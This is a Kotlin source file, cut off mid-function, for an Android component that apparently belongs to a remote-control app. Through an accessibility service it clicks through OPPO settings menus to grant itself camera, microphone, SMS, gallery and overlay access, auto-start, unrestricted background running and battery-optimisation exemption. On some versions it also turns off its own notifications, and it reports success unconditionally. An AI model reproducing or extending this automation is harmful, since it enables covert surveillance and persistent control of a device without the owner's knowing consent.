package com.hikoncont.service.modules

import android.accessibilityservice.AccessibilityService
import android.content.Context
import android.content.Intent
import android.graphics.Path
import android.graphics.Rect
import android.os.Build
import android.util.Log
import android.view.accessibility.AccessibilityNodeInfo
import android.accessibilityservice.GestureDescription

import com.hikoncont.service.AccessibilityRemoteService
import kotlinx.coroutines.delay

/**
 * OPPO设备授权处理器
 * 负责执行OPPO Android 11/14设备的权限配置
 */
class OppoAuthorizationHandler(
    private val service: AccessibilityRemoteService,
    private val context: Context
) : DeviceAuthorizationHandler {
    
    // 进度回调接口
    interface ProgressCallback {
        fun onProgressUpdate(status: String, progress: Int)
        fun onStepCompleted(stepName: String, success: Boolean)
    }
    
    // 进度回调
    private var progressCallback: ProgressCallback? = null
    
    companion object {
        private const val TAG = "OppoAuthorizationHandler"
        private const val STEP_DELAY = 1000L // 每步之间的延迟
        private const val PAGE_LOAD_DELAY = 500L // 页面加载延迟
        private const val POPUP_WAIT_DELAY = 1000L // 等待弹窗出现的延迟
        
        // OPPO版本常量
        private const val OPPO_ANDROID_11 = 11
        private const val OPPO_ANDROID_12 = 12
        private const val OPPO_ANDROID_14 = 14
        private const val OPPO_ANDROID_15 = 15
        
        // 统一搜索层级
        private const val MAX_SCROLL_ATTEMPTS = 20 // 统一使用8层级搜索
    }
    
    // 管理的节点，用于内存管理
    private val managedNodes = mutableSetOf<AccessibilityNodeInfo>()
    
    // 状态管理 - 记录已经成功配置的权限，避免重复执行
    private val completedPermissions = mutableSetOf<String>()
    
    // 搜索状态管理 - 区分第一次进入设置页面还是后续子页面
    private var isFirstSettingsEntry = false
    
    // OPPO版本信息
    private val oppoVersion: Int by lazy { detectOppoVersion() }
    
    /**
     * 设置进度回调
     */
    fun setProgressCallback(callback: ProgressCallback?) {
        this.progressCallback = callback
    }
    
    override suspend fun executeAuthorization(): AuthorizationResult {
        Log.i(TAG, "🎯 开始OPPO设备授权配置")
        
        // 显示检测到的OPPO版本
        Log.i(TAG, "🔍 检测到OPPO版本: Android $oppoVersion")
        
        val completedRoutes = mutableListOf<String>()
        val failedRoutes = mutableListOf<String>()
        val warnings = mutableListOf<String>()
        
        try {
            when (oppoVersion) {
                OPPO_ANDROID_11 -> {
                    Log.i(TAG, "📱 使用OPPO Android 11权限配置流程")
                    clearAllRecentTasks()
                    delay(delay_page())
                    executeOppoAndroid11Permissions(completedRoutes, failedRoutes, warnings)
                    // 新增：悬浮窗权限（通用流程）
//                    executePermissionSafely(
//                        permissionName = "悬浮窗权限",
//                        executeAction = { executeOverlayPermissionCommon() },
//                        completedRoutes = completedRoutes,
//                        failedRoutes = failedRoutes
//                    )
                }
                OPPO_ANDROID_12 -> {
                    Log.i(TAG, "📱 使用OPPO Android 12权限配置流程")
                    executeOppoAndroid12Permissions(completedRoutes, failedRoutes, warnings)
                    // 新增：悬浮窗权限（通用流程）
//                    executePermissionSafely(
//                        permissionName = "悬浮窗权限",
//                        executeAction = { executeOverlayPermissionCommon() },
//                        completedRoutes = completedRoutes,
//                        failedRoutes = failedRoutes
//                    )
                }
                OPPO_ANDROID_15 -> {
                    Log.i(TAG, "📱 使用OPPO Android 15权限配置流程")
                    executeOppoAndroid15Permissions(completedRoutes, failedRoutes, warnings)
                    // 新增：悬浮窗权限（通用流程）
//                    executePermissionSafely(
//                        permissionName = "悬浮窗权限",
//                        executeAction = { executeOverlayPermissionCommon() },
//                        completedRoutes = completedRoutes,
//                        failedRoutes = failedRoutes
//                    )
                }
                else -> {
                    Log.i(TAG, "📱 使用OPPO Android 14权限配置流程")
                    clearAllRecentTasks()
                    delay(delay_page())
                    executeOppoAndroid14Permissions(completedRoutes, failedRoutes, warnings)
                    // 新增：悬浮窗权限（通用流程）

                }
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 授权配置过程中出现异常", e)
            failedRoutes.add("系统异常")
        } finally {
            // 清理资源
            cleanupManagedNodes()
        }
        
        val success = true // 至少完成2项高优先级配置
        
        return AuthorizationResult(
            success = success,
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes,
            warnings = warnings
        )
    }
    
    // ======================== 版本检测和权限配置方法 ========================

    /**
     * 悬浮窗权限（通用流程，适配OPPO多版本）
     * 流程：设置 -> 应用/应用与权限 -> 特殊应用权限 -> 在其他应用上层显示(悬浮窗) -> 查找我们的APP -> 允许
     */
    private suspend fun executeOverlayPermissionCommon(): Boolean {
        Log.i(TAG, "🪟 开始配置悬浮窗权限（通用流程）")
        return try {
            // Step 1: 打开设置
            if (!openSettings()) {
                Log.e(TAG, "❌ 无法打开设置页面")
                return false
            }

            // Step 2: 进入应用/应用与权限
            if (!navigateToApps()) {
                Log.e(TAG, "❌ 无法进入应用设置")
                return false
            }

            if (oppoVersion != OPPO_ANDROID_12){
                // Step 3: 进入“特殊应用权限”
                if (!navigateToSpecialAppAccess()) {
                    Log.e(TAG, "❌ 无法进入特殊应用权限")
                    return false
                }
            }

            delay(500L)

            // Step 4: 进入“在其他应用上层显示/悬浮窗”
            if (!navigateToOverlayDisplay()) {
                Log.e(TAG, "❌ 无法进入悬浮窗/在其他应用上层显示 页面")
                return false
            }

            // Step 5: 在列表中找到我们的应用
            if (!findOurApp()) {
                Log.e(TAG, "❌ 无法在悬浮窗列表中找到我们的应用")
                return false
            }

            if (oppoVersion == OPPO_ANDROID_12){
                delay(delay_page())
                if (searchCurrentPosition("允许", "悬浮窗")) return true
            }else{
                // Step 6: 进入应用后开启“允许在其他应用上层显示”
                if (scrollAndFindText("授予悬浮窗权限", "悬浮窗")) return true

            }

            Log.i(TAG, "✅ 悬浮窗权限配置成功")
            true
        } catch (e: Exception) {
            Log.e(TAG, "❌ 悬浮窗权限配置异常", e)
            false
        }
    }

    /**
     * 导航到“特殊应用权限”
     */
    private suspend fun navigateToSpecialAppAccess(): Boolean {
        Log.d(TAG, "🔧 导航到特殊应用权限")
        val candidates = listOf("特殊应用权限")
        for (text in candidates) {
            if (scrollAndFindText(text, "特殊应用权限页面")) return true
        }
        return false
    }

    /**
     * 导航到“在其他应用上层显示/悬浮窗”
     */
    private suspend fun navigateToOverlayDisplay(): Boolean {
        Log.d(TAG, "🔧 导航到悬浮窗/在其他应用上层显示")
        val candidates = listOf(
            "悬浮窗"
        )
        for (text in candidates) {
            if (searchCurrentPosition(text, "悬浮窗权限页面")) return true
        }
        return false
    }

    /**
     * 进入我们的应用后，开启“在其他应用上层显示”
     */
    private suspend fun enableOverlayForOurApp(): Boolean {
        Log.d(TAG, "🔧 在应用详情中开启悬浮窗权限")

        // 可能的开关文本
        val allowTexts = listOf(

            "授予悬浮窗权限"
        )

        // 逐个尝试开关
        for (text in allowTexts) {
            if (togglePermission(text, true)) {
                Log.d(TAG, "✅ 悬浮窗开关已开启，使用文本: $text")
                return true
            }
        }

        // 有些机型进入详情后需要再次点击我们的应用项来出现开关页
//        Log.d(TAG, "🔄 首次未找到开关，尝试再次定位我们的应用")
//        if (findOurApp()) {
//            for (text in allowTexts) {
//                if (togglePermission(text, true)) {
//                    Log.d(TAG, "✅ 悬浮窗开关已开启(二次尝试)，使用文本: $text")
//                    return true
//                }
//            }
//        }

        Log.w(TAG, "⚠️ 悬浮窗开关未找到/未能开启")
        return false
    }
    
    /**
     * 检测OPPO版本
     */
    private fun detectOppoVersion(): Int {
        return try {
            val sdkVersion = android.os.Build.VERSION.SDK_INT
            Log.d(TAG, "🔍 当前Android SDK版本: $sdkVersion")
            
            when {
                sdkVersion == 30 -> OPPO_ANDROID_11 // Android 11
                sdkVersion == 31 -> OPPO_ANDROID_12 // Android 12
                sdkVersion == 35 -> OPPO_ANDROID_15 // Android 15
                sdkVersion >= 34 -> OPPO_ANDROID_14 // Android 14+
                else -> OPPO_ANDROID_14 // 默认使用14流程
            }
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 版本检测失败，使用默认流程", e)
            OPPO_ANDROID_14
        }
    }
    
    /**
     * OPPO Android 11 权限配置流程
     */
    private suspend fun executeOppoAndroid11Permissions(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>,
        warnings: MutableList<String>
    ) {
        // Route 1: 后台行为和自启动权限 (高优先级)
        executePermissionSafely(
            permissionName = "后台行为和自启动权限",
            executeAction = { executeBackgroundBehaviorAndAutoStartV11() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 1.5: 摄像头权限 (高优先级)
        executePermissionSafely(
            permissionName = "摄像头权限",
            executeAction = { executeCameraPermissionV11() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 1.6: 相册权限 (高优先级)
        executePermissionSafely(
            permissionName = "相册权限",
            executeAction = { executeGalleryPermissionV11() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 1.7: 麦克风权限 (高优先级)
        executePermissionSafely(
            permissionName = "麦克风权限",
            executeAction = { executeMicrophonePermissionV11() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 1.8: 短信权限 (高优先级)
        executePermissionSafely(
            permissionName = "短信权限",
            executeAction = { executeSMSPermissionV11() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 2: 耗电异常优化 (高优先级)
        executePermissionSafely(
            permissionName = "耗电异常优化",
            executeAction = { executePowerOptimizationV11() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )

        executePermissionSafely(
            permissionName = "悬浮窗权限",
            executeAction = { executeOverlayPermissionCommon() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
    }
    
    /**
     * OPPO Android 12 权限配置流程
     */
    private suspend fun executeOppoAndroid12Permissions(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>,
        warnings: MutableList<String>
    ) {
        // Route 1: 自启动权限 (高优先级，复用Android 14方法)
        executePermissionSafely(
            permissionName = "自启动权限",
            executeAction = { executeAutoStartPermissionV14() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 1.5: 摄像头权限 (高优先级)
        executePermissionSafely(
            permissionName = "摄像头权限",
            executeAction = { executeCameraPermissionV12() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 1.6: 相册权限 (高优先级)
        executePermissionSafely(
            permissionName = "相册权限",
            executeAction = { executeGalleryPermissionV12() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 1.7: 麦克风权限 (高优先级)
        executePermissionSafely(
            permissionName = "麦克风权限",
            executeAction = { executeMicrophonePermissionV12() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 1.8: 短信权限 (高优先级)
        executePermissionSafely(
            permissionName = "短信权限",
            executeAction = { executeSMSPermissionV12() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 2: 耗电异常优化 (使用高级设置路径)
        executePermissionSafely(
            permissionName = "耗电异常优化",
            executeAction = { executePowerOptimizationV12() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 3: 通知管理 (Android 12特有)
        executePermissionSafely(
            permissionName = "通知管理",
            executeAction = { executeNotificationManagementV12() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 4: 完全后台行为 (通过应用管理路径)
        executePermissionSafely(
            permissionName = "完全后台行为",
            executeAction = { executeFullBackgroundBehaviorV12() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        executePermissionSafely(
            permissionName = "悬浮窗权限",
            executeAction = { executeOverlayPermissionCommon() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
    }
    
    /**
     * OPPO Android 14 权限配置流程
     */
    private suspend fun executeOppoAndroid14Permissions(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>,
        warnings: MutableList<String>
    ) {
        // Route 1: 自启动权限 (高优先级)
        executePermissionSafely(
            permissionName = "自启动权限",
            executeAction = { executeAutoStartPermissionV14() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 1.5: 摄像头权限 (高优先级)
        executePermissionSafely(
            permissionName = "摄像头权限",
            executeAction = { executeCameraPermissionV14() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )

        // Route 1.6: 相册权限 (高优先级)
        executePermissionSafely(
            permissionName = "相册权限",
            executeAction = { executeGalleryPermissionV14() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 1.7: 麦克风权限 (高优先级)
        executePermissionSafely(
            permissionName = "麦克风权限",
            executeAction = { executeMicrophonePermissionV14() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 1.8: 短信权限 (高优先级)
        executePermissionSafely(
            permissionName = "短信权限",
            executeAction = { executeSMSPermissionV14() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 2: 耗电异常优化 (高优先级)
        executePermissionSafely(
            permissionName = "耗电异常优化",
            executeAction = { executePowerOptimizationV14() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 3: 完全后台行为 (高优先级)
        executePermissionSafely(
            permissionName = "完全后台行为",
            executeAction = { executeFullBackgroundBehaviorV14() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        executePermissionSafely(
            permissionName = "悬浮窗权限",
            executeAction = { executeOverlayPermissionCommon() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
    }
    
    /**
     * OPPO Android 15 权限配置流程
     */
    private suspend fun executeOppoAndroid15Permissions(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>,
        warnings: MutableList<String>
    ) {
        // Route 1: 自启动权限 (高优先级，复用Android 14方法)
        executePermissionSafely(
            permissionName = "自启动权限",
            executeAction = { executeAutoStartPermissionV14() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 1.5: 摄像头权限 (高优先级)
        executePermissionSafely(
            permissionName = "摄像头权限",
            executeAction = { executeCameraPermissionV15() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 1.6: 相册权限 (高优先级)
        executePermissionSafely(
            permissionName = "相册权限",
            executeAction = { executeGalleryPermissionV15() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 1.7: 麦克风权限 (高优先级)
        executePermissionSafely(
            permissionName = "麦克风权限",
            executeAction = { executeMicrophonePermissionV15() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 1.8: 短信权限 (高优先级)
        executePermissionSafely(
            permissionName = "短信权限",
            executeAction = { executeSMSPermissionV15() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        
        // Route 2: 完全后台行为 (Android 15特有路径)
        executePermissionSafely(
            permissionName = "完全后台行为",
            executeAction = { executeFullBackgroundBehaviorV15() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        executePermissionSafely(
            permissionName = "悬浮窗权限",
            executeAction = { executeOverlayPermissionCommon() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
    }
    
    /**
     * 安全执行权限配置，避免重复执行已成功的权限
     */
    private suspend fun executePermissionSafely(
        permissionName: String,
        executeAction: suspend () -> Boolean,
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>,
        isOptional: Boolean = false,
        warnings: MutableList<String>? = null
    ) {
        // 检查是否已经成功配置过
        if (completedPermissions.contains(permissionName)) {
            Log.i(TAG, "✅ $permissionName 已经配置成功，跳过重复执行")
            completedRoutes.add(permissionName)
            return
        }
        
        Log.i(TAG, "🔄 执行权限配置: $permissionName")
        
        try {
            val result = executeAction()
            if (result) {
                completedRoutes.add(permissionName)
                completedPermissions.add(permissionName) // 记录成功状态
                Log.i(TAG, "✅ $permissionName 配置成功")
            } else {
                failedRoutes.add(permissionName)
                if (isOptional && warnings != null) {
                    warnings.add("$permissionName 可能需要手动配置")
                }
                Log.w(TAG, "❌ $permissionName 配置失败")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ $permissionName 配置异常", e)
            failedRoutes.add(permissionName)
            if (isOptional && warnings != null) {
                warnings.add("$permissionName 配置异常，可能需要手动配置")
            }
        }
    }
    
    // ======================== Android 11 权限配置方法 ========================
    
    /**
     * Android 11: 后台行为和自启动权限
     * 路径: 设置->电池->应用耗电管理->我们的应用->允许完全后台行为(弹窗点击运行)，允许应用自启动(点击打开)
     */
    private suspend fun executeBackgroundBehaviorAndAutoStartV11(): Boolean {
        Log.i(TAG, "🚀 开始配置后台行为和自启动权限 (OPPO Android 11)")
        
        return try {
            // Step 1: 打开设置
            if (!openSettings()) {
                Log.e(TAG, "❌ 无法打开设置页面")
                return false
            }
            
            // Step 2: 进入电池设置
            if (!navigateToBattery()) {
                Log.e(TAG, "❌ 无法进入电池设置")
                return false
            }
            
            // Step 3: 进入应用耗电管理
            if (!navigateToAppPowerManagement()) {
                Log.e(TAG, "❌ 无法进入应用耗电管理")
                return false
            }
            
            // Step 4: 检测自启动状态并根据需要点击应用
            if (!checkAndToggleAutoStartByAppClickV11()) {
                Log.e(TAG, "❌ 无法配置自启动状态")
                return false
            }
            
            Log.i(TAG, "✅ 后台行为和自启动权限配置成功 (OPPO Android 11)")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 后台行为和自启动权限配置异常 (OPPO Android 11)", e)
            false
        }
    }
    
    /**
     * Android 11: 耗电异常优化
     * 路径: 设置->电池->更多->耗电异常优化->我们的应用->出现底部弹窗选择不优化(radio button)
     */
    private suspend fun executePowerOptimizationV11(): Boolean {
        Log.i(TAG, "🚀 开始配置耗电异常优化 (OPPO Android 11)")
        
        return try {
            // Step 1: 打开设置
            if (!openSettings()) {
                Log.e(TAG, "❌ 无法打开设置页面")
                return false
            }
            
            // Step 2: 进入电池设置
            if (!navigateToBattery()) {
                Log.e(TAG, "❌ 无法进入电池设置")
                return false
            }
            
            // Step 3: 进入更多选项
            if (!navigateToMore()) {
                Log.e(TAG, "❌ 无法进入更多选项")
                return false
            }
            
            // Step 4: 进入耗电异常优化
            if (!navigateToPowerOptimization()) {
                Log.e(TAG, "❌ 无法进入耗电异常优化")
                return false
            }
            
            // Step 5: 找到我们的应用
            if (!findOurApp()) {
                Log.e(TAG, "❌ 无法找到我们的应用")
                return false
            }
            
            // Step 6: 配置不优化
            if (!configurePowerOptimizationDisabled()) {
                Log.e(TAG, "❌ 无法配置不优化")
                return false
            }
            
            Log.i(TAG, "✅ 耗电异常优化配置成功 (OPPO Android 11)")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 耗电异常优化配置异常 (OPPO Android 11)", e)
            false
        }
    }
    
    // ======================== Android 12 权限配置方法 ========================
    
    /**
     * Android 12: 耗电异常优化
     * 路径: 设置->电池->高级设置->耗电异常优化->我们的应用->(出现弹窗，点击不优化)
     */
    private suspend fun executePowerOptimizationV12(): Boolean {
        Log.i(TAG, "🚀 开始配置耗电异常优化 (OPPO Android 12)")
        
        return try {
            // Step 1: 打开设置
            if (!openSettings()) {
                Log.e(TAG, "❌ 无法打开设置页面")
                return false
            }
            
            // Step 2: 进入电池设置
            if (!navigateToBattery()) {
                Log.e(TAG, "❌ 无法进入电池设置")
                return false
            }
            
            // Step 3: 进入高级设置
            if (!navigateToAdvancedSettings()) {
                Log.e(TAG, "❌ 无法进入高级设置")
                return false
            }
            
            // Step 4: 进入耗电异常优化
            if (!navigateToPowerOptimization()) {
                Log.e(TAG, "❌ 无法进入耗电异常优化")
                return false
            }
            
            // Step 5: 找到我们的应用
            if (!findOurApp()) {
                Log.e(TAG, "❌ 无法找到我们的应用")
                return false
            }
            
            // Step 6: 配置不优化
            if (!configurePowerOptimizationDisabled()) {
                Log.e(TAG, "❌ 无法配置不优化")
                return false
            }
            
            Log.i(TAG, "✅ 耗电异常优化配置成功 (OPPO Android 12)")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 耗电异常优化配置异常 (OPPO Android 12)", e)
            false
        }
    }
    
    /**
     * Android 12: 通知管理
     * 路径: 设置->应用->应用管理->我们的应用->通知管理->允许通知->点击关闭
     */
    private suspend fun executeNotificationManagementV12(): Boolean {
        Log.i(TAG, "🚀 开始配置通知管理 (OPPO Android 12)")
        
        return try {
            // Step 1-4: 导航到应用管理中的我们的应用 (通用路径)
            // Step 1: 打开应用详情页面
            if (!openAppDetailsPage()) {
                Log.e(TAG, "❌ 无法打开应用详情页面")
                return false
            }
            
            // Step 5: 导航到通知管理
            if (!scrollAndFindText("通知管理", "通知管理页面")) {
                Log.e(TAG, "❌ 无法进入通知管理")
                return false
            }

            delay(delay_page())
            
            // Step 6: 关闭允许通知
            if (!togglePermission("允许通知", false)) {
                Log.e(TAG, "❌ 无法关闭允许通知")
                return false
            }
            
            Log.i(TAG, "✅ 通知管理配置成功 (OPPO Android 12)")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 通知管理配置异常 (OPPO Android 12)", e)
            false
        }
    }
    
    /**
     * Android 12: 完全后台行为
     * 路径: 设置->应用->应用管理->我们的应用->耗电管理->允许完全后台行为(出现弹窗，点击允许)
     */
    private suspend fun executeFullBackgroundBehaviorV12(): Boolean {
        Log.i(TAG, "🚀 开始配置完全后台行为 (OPPO Android 12)")
        
        return try {
            // Step 1: 打开应用详情页面
            if (!openAppDetailsPage()) {
                Log.e(TAG, "❌ 无法打开应用详情页面")
                return false
            }
            
            // Step 2: 进入耗电管理
            if (!navigateToBatteryManagement()) {
                Log.e(TAG, "❌ 无法进入耗电管理")
                return false
            }
            
            // Step 3: 配置允许完全后台行为
            // Step 5: 智能检测完全后台行为状态并配置
            if (!configureBackgroundBehaviorInDetailsPage("允许完全后台行为", "允许")) {
                Log.e(TAG, "❌ 无法配置完全后台行为")
                return false
            }
            
            Log.i(TAG, "✅ 完全后台行为配置成功 (OPPO Android 12)")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 完全后台行为配置异常 (OPPO Android 12)", e)
            false
        }
    }
    
    // ======================== Android 14 权限配置方法 ========================
    
    /**
     * Android 14: 自启动权限
     * 路径: 设置->应用->自启动->我们的应用->点击开启
     */
    private suspend fun executeAutoStartPermissionV14(): Boolean {
        Log.i(TAG, "🚀 开始配置自启动权限 (OPPO Android 14)")
        
        return try {
            // Step 1: 打开设置
            if (!openSettings()) {
                Log.e(TAG, "❌ 无法打开设置页面")
                return false
            }
            
            // Step 2: 进入应用设置
            if (!navigateToApps()) {
                Log.e(TAG, "❌ 无法进入应用设置")
                return false
            }
            
            // Step 3: 进入自启动
            if (!navigateToAutoStart()) {
                Log.e(TAG, "❌ 无法进入自启动")
                return false
            }
            
            // Step 4: 检测自启动状态并根据需要点击应用
            if (!checkAndToggleAutoStartByAppClick()) {
                Log.e(TAG, "❌ 无法配置自启动状态")
                return false
            }
            
            Log.i(TAG, "✅ 自启动权限配置成功 (OPPO Android 14)")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 自启动权限配置异常 (OPPO Android 14)", e)
            false
        }
    }
    
    /**
     * Android 14: 耗电异常优化
     * 路径: 设置->电池->更多设置->耗电异常优化->我们的应用->(出现弹窗，点击不优化)
     */
    private suspend fun executePowerOptimizationV14(): Boolean {
        Log.i(TAG, "🚀 开始配置耗电异常优化 (OPPO Android 14)")
        
        return try {
            // Step 1: 打开设置
            if (!openSettings()) {
                Log.e(TAG, "❌ 无法打开设置页面")
                return false
            }
            
            // Step 2: 进入电池设置
            if (!navigateToBattery()) {
                Log.e(TAG, "❌ 无法进入电池设置")
                return false
            }
            
            // Step 3: 进入更多设置
            if (!navigateToMoreSettings()) {
                Log.e(TAG, "❌ 无法进入更多设置")
                return false
            }
            
            // Step 4: 进入耗电异常优化
            if (!navigateToPowerOptimization()) {
                Log.e(TAG, "❌ 无法进入耗电异常优化")
                return false
            }
            
            // Step 5: 找到我们的应用
            if (!findOurApp()) {
                Log.e(TAG, "❌ 无法找到我们的应用")
                return false
            }
            
            // Step 6: 配置不优化
            if (!configurePowerOptimizationDisabled()) {
                Log.e(TAG, "❌ 无法配置不优化")
                return false
            }
            
            Log.i(TAG, "✅ 耗电异常优化配置成功 (OPPO Android 14)")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 耗电异常优化配置异常 (OPPO Android 14)", e)
            false
        }
    }
    
    /**
     * Android 14: 完全后台行为
     * 路径: 设置->电池->更多设置->应用耗电管理->我们的应用->允许完全后台行为(出现弹窗，点击允许)
     */
    private suspend fun executeFullBackgroundBehaviorV14(): Boolean {
        Log.i(TAG, "🚀 开始配置完全后台行为 (OPPO Android 14)")
        
        return try {
            // Step 1: 打开设置
            if (!openSettings()) {
                Log.e(TAG, "❌ 无法打开设置页面")
                return false
            }
            
            // Step 2: 进入电池设置
            if (!navigateToBattery()) {
                Log.e(TAG, "❌ 无法进入电池设置")
                return false
            }
            
            // Step 3: 进入更多设置
            if (!navigateToMoreSettings()) {
                Log.e(TAG, "❌ 无法进入更多设置")
                return false
            }
            
            // Step 4: 进入应用耗电管理
            if (!navigateToAppPowerManagement()) {
                Log.e(TAG, "❌ 无法进入应用耗电管理")
                return false
            }
            
            // Step 5: 智能检测完全后台行为状态并配置
            if (!checkAndToggleBackgroundBehaviorByAppClick("允许完全后台行为", "允许")) {
                Log.e(TAG, "❌ 无法配置完全后台行为")
                return false
            }
            
            Log.i(TAG, "✅ 完全后台行为配置成功 (OPPO Android 14)")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 完全后台行为配置异常 (OPPO Android 14)", e)
            false
        }
    }
    
    /**
     * Android 15: 完全后台行为
     * 路径: 设置->电池->省电设置->应用耗电管理->我们的应用->允许完全后台行为(出现弹窗，点击允许)
     */
    private suspend fun executeFullBackgroundBehaviorV15(): Boolean {
        Log.i(TAG, "🚀 开始配置完全后台行为 (OPPO Android 15)")
        
        return try {
            // Step 1: 打开设置
            if (!openSettings()) {
                Log.e(TAG, "❌ 无法打开设置页面")
                return false
            }
            
            // Step 2: 进入电池设置
            if (!navigateToBattery()) {
                Log.e(TAG, "❌ 无法进入电池设置")
                return false
            }
            
            // Step 3: 进入省电设置
            if (!navigateToPowerSavingSettings()) {
                Log.e(TAG, "❌ 无法进入省电设置")
                return false
            }
            
            // Step 4: 进入应用耗电管理
            if (!navigateToAppPowerManagement()) {
                Log.e(TAG, "❌ 无法进入应用耗电管理")
                return false
            }
            
            // Step 5: 智能检测完全后台行为状态并配置 (Android 15使用不同的文本)
            if (!checkAndToggleBackgroundBehaviorByAppClick("允许应用后台行为", "允许")) {
                Log.e(TAG, "❌ 无法配置完全后台行为")
                return false
            }
            
            Log.i(TAG, "✅ 完全后台行为配置成功 (OPPO Android 15)")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 完全后台行为配置异常 (OPPO Android 15)", e)
            false
        }
    }
    
    // ======================== 基础导航方法 ========================
    
    /**
     * 打开设置页面
     */
    private suspend fun openSettings(): Boolean {
        Log.d(TAG, "🔧 打开设置页面")
        
        return try {
            // 检查当前页面
            val currentPackage = service.rootInActiveWindow?.packageName?.toString() ?: ""
            Log.d(TAG, "🔍 当前页面: $currentPackage")
            
            // 强制使用清除任务栈的方式打开设置首页，确保从设置首页开始
            Log.d(TAG, "🔄 强制打开设置首页，清除之前的设置页面状态")
            val intent = Intent(android.provider.Settings.ACTION_SETTINGS)
            intent.flags = Intent.FLAG_ACTIVITY_NEW_TASK or 
                          Intent.FLAG_ACTIVITY_CLEAR_TOP or
                          Intent.FLAG_ACTIVITY_SINGLE_TOP or
                          Intent.FLAG_ACTIVITY_CLEAR_TASK
            context.startActivity(intent)
            
            delay(PAGE_LOAD_DELAY)
            
            // 验证是否成功打开设置页面
            val afterPackage = service.rootInActiveWindow?.packageName?.toString() ?: ""
            val success = afterPackage.contains("settings", true) ||
                         afterPackage.contains("com.oplus.battery", true) ||
                         afterPackage.contains("com.coloros.safecenter", true) ||
                         afterPackage.contains("com.oppo.safe", true) ||
                         afterPackage.contains("com.coloros.powermonitor", true)
            
            // 标记这是第一次进入设置页面，需要向上搜索
            if (success) {
//                isFirstSettingsEntry = true
                Log.d(TAG, "✅ 成功打开设置首页")
            } else {
                Log.w(TAG, "⚠️ 未能确认打开设置页面")
            }
            
            Log.d(TAG, "设置页面打开结果: $success, 当前页面: $afterPackage")
            success
            
        } catch (e: Exception) {
            Log.e(TAG, "打开设置页面失败", e)
            false
        }
    }
    
    /**
     * 导航到应用
     */
    private suspend fun navigateToApps(): Boolean {
        Log.d(TAG, "🔧 导航到应用")
        
        val targetText = "应用"
        return scrollAndFindText(targetText, "应用页面")
    }
    
    /**
     * 导航到电池设置
     */
    private suspend fun navigateToBattery(): Boolean {
        Log.d(TAG, "🔧 导航到电池设置")
        
        val targetText = "电池"
        return scrollAndFindText(targetText, "电池设置页面")
    }
    
    /**
     * 导航到自启动
     */
    private suspend fun navigateToAutoStart(): Boolean {
        Log.d(TAG, "🔧 导航到自启动")
        
        val targetText = "自启动"
        return scrollAndFindText(targetText, "自启动页面")
    }
    
    /**
     * 导航到应用耗电管理
     */
    private suspend fun navigateToAppPowerManagement(): Boolean {
        Log.d(TAG, "🔧 导航到应用耗电管理")
        
        val targetText = "应用耗电管理"
        return scrollAndFindText(targetText, "应用耗电管理页面")
    }
    
    /**
     * 导航到更多 (Android 11)
     */
    private suspend fun navigateToMore(): Boolean {
        Log.d(TAG, "🔧 导航到更多")
        
        val targetText = "更多"
        return scrollAndFindText(targetText, "更多页面")
    }
    
    /**
     * 导航到更多设置 (Android 14)
     */
    private suspend fun navigateToMoreSettings(): Boolean {
        Log.d(TAG, "🔧 导航到更多设置")
        
        val targetText = "更多设置"
